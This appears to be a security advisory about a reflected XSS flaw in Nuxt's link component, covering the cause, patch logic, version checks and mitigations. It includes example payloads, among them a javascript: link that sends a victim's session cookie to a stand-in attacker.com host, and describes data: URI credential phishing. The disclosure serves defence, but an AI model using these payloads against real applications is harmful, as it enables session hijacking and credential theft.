Nuxt, Reflected XSS, CVE-2026-53722 (Medium) -DC-Jun2026-462

Nuxt is a popular open-source Vue.js framework used to build full-stack web applications. Prior to versions 3.21.7 and 4.4.7, the `` component contained a reflected DOM‑based cross‑site scripting (XSS) vulnerability due to improper validation of URL schemes.
The `` component accepts a `to` or `href` prop to define navigation targets. When an application binds user‑controlled input—such as a query parameter, a CMS field, or a user‑supplied profile URL—directly to `` or :href, an attacker can supply a `javascript:` or `vbscript:` URI. The component renders this value verbatim into the `href` attribute of the underlying `` element without any sanitisation. When a victim clicks the link, the browser executes the script in the context of the application’s origin, leading to reflected DOM‑based XSS.
A `data:text/html,…` payload does not execute in the application’s origin but enables a same‑tab phishing attack, displaying a fake login overlay or credential‑harvesting form while the victim remains on a legitimate application URL.
The vulnerability also affects the component’s custom slot, which exposes `href` and `route.href` props to consumers. Any application that re‑binds these values to its own anchor tags is equally vulnerable.
Unlike the previously reported `navigateTo` issue (CVE‑2024‑34343), the sink here is the rendered anchor itself. The existing `isScriptProtocol` checks in `navigateTo` and `reloadNuxtApp` are not on this code path. The `onClick` handler intentionally returns early for external links, leaving the browser’s native protocol‑based navigation to run.

• File: `packages/nuxt/src/app/components/nuxt-link.ts`
  – Sink: `h(‘a’, { href: href.value, … })` in the default render, plus the `href` / `route.href` props passed to the custom slot.
• Broken check: External link detection treated any value matching `hasProtocol(path, { acceptRelative: true })` as “external” and rendered it directly into `` without rejecting script‑capable protocols. There was no equivalent of the `navigateTo` isScriptProtocol(protocol) gate in this path.
  The issue was fixed in [email protected] (commit 0103ce06) and backported to [email protected] (commit 53284043). The patch sanitises the resolved external `href` before passing it to `` or the custom slot: control characters and whitespace are stripped, leading `view-source:` prefixes are unwrapped, and any remaining script‑capable scheme causes the `href` to be replaced with an empty string.

Check installed Nuxt version
npm list nuxt
Check version in package.json
cat package.json | grep '"nuxt"'
Check for vulnerable range (3.x < 3.21.7 or 4.x < 4.4.7)
node -e "const pkg = require('./package.json'); const v = pkg.dependencies?.nuxt || pkg.devDependencies?.nuxt; if (v) console.log('Nuxt version:', v);"

<template>
<!-- Attacker-controlled input bound directly to :to -->
<NuxtLink :to="user.website">Visit profile</NuxtLink>
</template>

<script setup>
// user.website = "javascript:alert('XSS')" from query param or CMS
const user = ref({ website: route.query.url });
</script>

Code snippet – Patched behaviour ([email protected] / 3.21.7):

// Simplified sanitisation logic applied before rendering
function sanitiseHref(href: string): string {
// Strip control chars and whitespace
href = href.replace(/[\x00-\x1f\x20]+/g, '');
// Unwrap leading view-source:
if (href.startsWith('view-source:')) href = href.slice(12);
// Reject script-capable schemes
if (isScriptProtocol(href)) return '';
return href;
}

Exploit

An attacker can inject a malicious URL via any user‑controllable input that is later bound to `` or :href. Common injection points include:
– Query parameters: https://victim.com/profile?url=javascript:alert(document.cookie)`
- CMS fields: A CMS‑driven landing page that renders ``
- User‑supplied profile links: Marketplace or social platforms that display seller‑supplied URLs
- "Share this" / "Open in new tab" handlers that pass through a query parameter
<h2 style="color: blue;">Example attack:</h2>
1. Attacker crafts a link: `https://victim.com/dashboard?redirect=javascript:fetch('https://attacker.com/steal?cookie='%2bdocument.cookie)`
<h2 style="color: blue;">2. Victim clicks the rendered.</h2>
3. The `javascript:` URI executes in the victim’s browser, sending their session cookie to the attacker’s server.
Fordata:text/html,…, the attacker can display a fake login form within the legitimate application’s tab, harvesting credentials.
<h2 style="color: blue;">Protection</h2>
<h2 style="color: blue;">Immediate actions:</h2>
- Upgrade to Nuxt 3.21.7 or 4.4.7 immediately.
- If you cannot upgrade immediately, validate all URLs before binding them to:
- Only accept paths that start with `/` (and not//).
- Run user‑supplied URLs through `new URL(value)` and reject anything whose `protocol` is not in an allow‑list (typically `http:` andhttps:`).
– Avoid binding raw user input to `to` or `href` props without sanitisation.
– Use Content Security Policy (CSP) to restrict script execution from `javascript:` URIs (though this is a defence‑in‑depth measure, not a complete fix).

Patch details:

• The fix strips control characters and whitespace, unwraps `view-source:` prefixes, and replaces any remaining script‑capable scheme with an empty string.
• The sanitisation is applied to the resolved external `href` before it is passed to `` or the custom slot.

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin